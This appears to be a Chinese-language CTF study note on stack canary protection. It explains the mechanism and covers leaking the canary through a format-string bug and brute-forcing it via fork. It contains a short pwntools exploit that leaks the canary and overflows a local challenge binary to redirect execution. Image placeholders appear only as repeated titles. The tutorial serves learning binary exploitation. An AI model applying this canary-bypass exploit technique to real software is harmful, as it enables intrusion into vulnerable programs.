Stack Canary

Stack Canary

0x00 canary保护机制

Canary保护机制的原理,是在一个函数入口处从gs(32位)或fs(64位)段内获取一个随机值,一般存到eax - 0x4(32位)或rax -0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露

需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

1.程序从gs(32位)或fs(64位)段取出一个4或8节的值,在32位程序上,你可能会看到:

Stack Canary

在64位程序上,可能会看到

Stack Canary

总之,这个值你不能实现得到或预测,放到栈上以后,eax中的副本也会被清空(xor eax,eax)

2.程序正常的走完了流程,到函数执行完的时候,程序会把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。

Stack Canary

在栈中大致是这样一个画风:

Stack Canary

0x01 泄露canary

通过格式化字符漏洞或者栈溢出漏洞泄露出canary的值,然后在payload里加入canary的值以通过检查
### 题目: bin

32位程序,先checksec,后ida分析

Stack Canary

printf函数处存在格式化字符串漏洞

Stack Canary

read函数存在栈溢出漏洞

我们尝试利用格式化字符串漏洞,需要计算出canary的偏移量

Stack Canary

通过gdb调试,发现canary的偏移量是7,现在需要查找canary的存放位置,用来栈溢出覆盖

Stack Canary

Stack Canary

需要覆盖0x64个字符,现在可以写exp了:


from pwn import *

io = process('./bin')
io.sendline('%7$x')
canary = int(io.recv(),16)
print canary
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(0x0804863B)
io.sendline(payload)
io.interactive()

0x02 爆破canary

canary之所以被认为是安全的,是因为对其进行爆破成功率太低。以32为例,除去最后一个\x00,其可能值将会是0x100^3=16777216(实际上由于canary的生成规则会小于这个值),64位下的canary值更是远大于这个数量级。此外,一旦canary爆破失败,程序就会立即结束,canary值也会再次更新,使得爆破更加困难。但是,由于同一个进程内所有的canary值都是一致的,当程序有多个进程,且子进程内出现了栈溢出时,由于子进程崩溃不会影响到主进程,我们就可以进行爆破。甚至我们可以通过逐位爆破来减少爆破时间,逐位爆破时,如果程序崩溃了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

题目bin1

32位,先checksec再ida

Stack Canary

Stack Canary

发现fork函数,说明可以进行利用fork爆破canary

https://xz.aliyun.com/t/4657#toc-0

https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

上一篇:Canary学习(泄露Canary)


下一篇:9-6学习打卡(6.14)